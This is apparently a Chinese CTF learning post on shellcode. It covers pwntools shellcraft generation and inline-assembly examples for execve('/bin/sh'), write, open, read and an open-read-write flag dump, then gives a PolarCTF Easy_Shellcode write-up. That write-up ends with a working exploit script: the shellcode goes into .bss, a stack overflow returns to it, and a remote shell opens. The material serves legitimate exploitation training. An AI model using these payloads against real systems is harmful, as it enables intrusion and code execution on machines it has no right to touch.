• 这里详细介绍一下shellcode可以怎么生成,怎么编写

介绍

  • shellcode:是一段专门为利用计算机安全漏洞而编写的机器码,通常是为了在目标系统上执行命令或启动一个新的 shell(因此得名 “shellcode”)。

  • 在一开始没有汇编基础的时候可以先使用pwntools内置的自动生成shellcode的脚本进行编写,然后直接发送,这样就可以getshell。但是这毕竟是脚本生成的东西,在一些题中对shellcode没有限制的情况下还是能使用的。

  • 如果在一些shellcode被限制的情况下就没办法使用脚本生成了,这个时候就需要自己编写脚本了

基础

pwntools生成

  • pwntools有自带的生成shellcode的工具,生成的代码格式如下,了解该代码就可以进行实战。做出题目level_1_shellcode
  • 在使用pwntools生成shellcode的时候注意以下问题
    • 请使用虚拟机执行该脚本,而不要使用windows上的Pycharm工具,因为可能没有汇编器
    • wsl或者VM的虚拟机上运行,确保有汇编器,如果没有使用该指令安装sudo apt install binutils
1
2
context.arch = 'i386'   # 指定cpu架构,
a = asm(shellcraft.sh()) # 生成shellcode,返回汇编语句

编写shellcode

  • 通常编写shellcode并不是直接写汇编代码
  • 通常采用内联汇编的形式。什么是内联汇编:内联汇编可以直接理解为在C代码中嵌入汇编代码。注意并不是所有编译器都支持这么做。但GCC支持在C代码中直接嵌入汇编代码
  • 内联汇编的关键字为asm,里面汇编代码的形式采用AT&T的汇编格式而不是采用Intel的汇编格式。内联汇编的规定如下
    • 指令必须用双引号引起来,无论双引号中是一条指令或多条指令
    • 一对双引号不能跨行,如果跨行需要在结尾用反斜杠\转义。
    • 指令之间用分号; 换行符\n或换行符加制表符\n \t分隔。
    • 寄存器前面加前缀%,立即数前面加前缀$,操作数由左到右的顺序。
  • 接下来对shellcode进行简单编写

level1/bin/sh

  • 打开ubuntu虚拟机,直接vim创建一个c文件,即可开始编写
  • 需要使用sudo权限编辑该c文件,刚刚上手写会出现很多错误,问AI慢慢排错
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include<stdio.h>
int main()
{
char* a= "\x2f\x62\x69\x6e\x2f\x73\x68";
asm( "xor %%rax,%%rax;"
"movq $59,%%rax;"
"movq %0,%%rdi;"
"xor %%rsi,%%rsi;"
"xor %%rdx,%%rdx;"
"syscall;"
:
:"r"(a)
:"%rdi","%rax"
);
return 0;
}
# gcc -o level_1_shellcode level_1_shellcode.c

level_2_write

  • 使用内联汇编,通过系统调用将hello world打印在终端上
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include<stdio.h>
int main(){
char *a="hello world!";
asm("xor %%rax,%%rax;"
"movq $1,%%rax;"
"movq $1,%%rdi;"
"movq %0,%%rsi;"
"movq $0x10,%%rdx;"
"syscall;"
:
:"r"(a)
:"%rdi","%rax","%rdx","%rsi"
);
return 0;
}
# gcc -o level_2_shellcode level_2_shellcode.c

level_3_open

  • 使用内联汇编打开flag文件,先在当前目录下创建一个flag文件,写入一些内容
  • 为了验证flag文件是否被打开,我使用read函数将该文件读到一个字符串中,并打印出来;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include<stdio.h>
#include <unistd.h>
int main()
{ long long int c;
char b[32]={0};
char *a ="./flag";
asm("xor %%rax,%%rax;"
"movq $2,%%rax;"
"movq %0,%%rdi;"
"xor %%rsi,%%rsi;"
"movq $400,%%rdx;"
"syscall;"
"movq %%rax,%1"
:
:"r"(a),"r"(c)
:"%rdi","%rax","%rsi","%rdx"
);
read(3,b,sizeof(char)*0x20);
printf("%s",b);
return 0;
}
# gcc -o level_3_shellcode level_3_shellcode.c

level_4_read

  • 使用内联汇编写入aaaa到指定字符串上
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include<stdio.h>
#include<unistd.h>
int main(){
char a[10]={0};
asm("xor %%rax,%%rax;"
"xor %%rdi,%%rdi;"
"movq %0,%%rsi;"
"movq $10,%%rdx;"
"syscall;"
:
:"r"(a)
:"%rdi","%rdx","%rsi","rax"
);
a[9] = '\0';
printf("%s",a);
return 0;

}

level_5_orw

  • 使用内联汇编通过系统调用,打开flag文件,读取flag文件到指定字符串上,打印出flag文件里面的内容
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include<stdio.h>
int main(){
char a[20]={0};
char *b ="./flag";
asm("xor %%rax,%%rax;"
"movq $2,%%rax;"
"movq %0,%%rdi;"
"xor %%rsi,%%rsi;"
"movq $400,%%rdx;"
"syscall;"
:
:"r"(b)
:"%rdi","%rax","%rsi","%rdx"
);
asm("xor %%rax,%%rax;"
"movq $3,%%rdi;"
"movq %0,%%rsi;"
"movq $20,%%rdx;"
"syscall;"
:
:"r"(a)
:"%rdi","%rdx","%rsi","rax"
);
asm("xor %%rax,%%rax;"
"movq $1,%%rax;"
"movq $1,%%rdi;"
"movq %0,%%rsi;"
"movq $0x20,%%rdx;"
"syscall;"
:
:"r"(a)
:"%rdi","%rax","%rdx","%rsi"
);
a[19] = '\0';
return 0;
}

题目

level_1_shellcode

  • 题目来源:PolarD&N (polarctf.com),pwn简单题部分,Easy_Shellcode

  • 下载:https://wwsq.lanzoue.com/i7vjd29q8aef 密码:b72p

  • 前置知识:学会ret2text就可以了
  • 拿到题目附件发现就一个ELF文件,先检查保护机制
    • 发现是i386架构
    • 然后保护都没开
    • Stack: Executable:这个是栈可执行,一般来说栈上的数据可读可写的,但是并不能做为代码执行。
    • RWX: Has RWX segments:这个是程序段具有可读、可写、可执行的权限,一般不同部分的程序段权限是不一样的,比如bss段一般是只有可读可写不可执行的权限。本题只是比较简单的shellcode题目,所以权限没有设置很死,或者很宰

image-20240911095731408

分析

  • 使用IDA打开这个32位文件

  • 先从main函数开始看,发现main函数没有什么东西,只有一个init初始化和start函数,那么主要看start函数

image-20240911100748881

  • 进入start函数,查看一下代码,发现有两个输入点,一个是向str输入0x100str的地址位于.bss

image-20240911100848192

  • 还有一个是向栈上的buf输入0x100字节,但是buf的长度达不到0x100所以存在栈溢出

  • 这时我们可以将shellcode注入到str中,然后使用ret返回到str处,执行shellcode,即可得到shellcode。其实这题也可以当做ret2libc来写。

  • 结合前面使用pwntools生成的shellcode,可以直接得到shellcode
1
2
3
4
from pwn import *
p = remote("120.46.59.242",2071) # nc 120.46.59.242 2123
context.arch = 'i386'
a = asm(shellcraft.sh())
  • 这时变量a就是一串由汇编代码组成的字节码
1
a = b'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80'
  • 剩下的就是接收发送问题了

利用

  • 这里利用的时段可执行权限,写入shellcode,然后再返回到shellcode地址,执行shellcode
  • exp:
1
2
3
4
5
6
7
8
9
10
from pwn import *
p = remote("120.46.59.242",2096) # nc 120.46.59.242 2123
context.arch = 'i386'
a = asm(shellcraft.sh())
print(a)
payload = a
p.sendlineafter(b'Please Input:\n',payload)
payload = b'a'*(0x68+0x4) + p64(0x804A080)
p.sendlineafter(b'What,s your name ?:\n',payload)
p.interactive()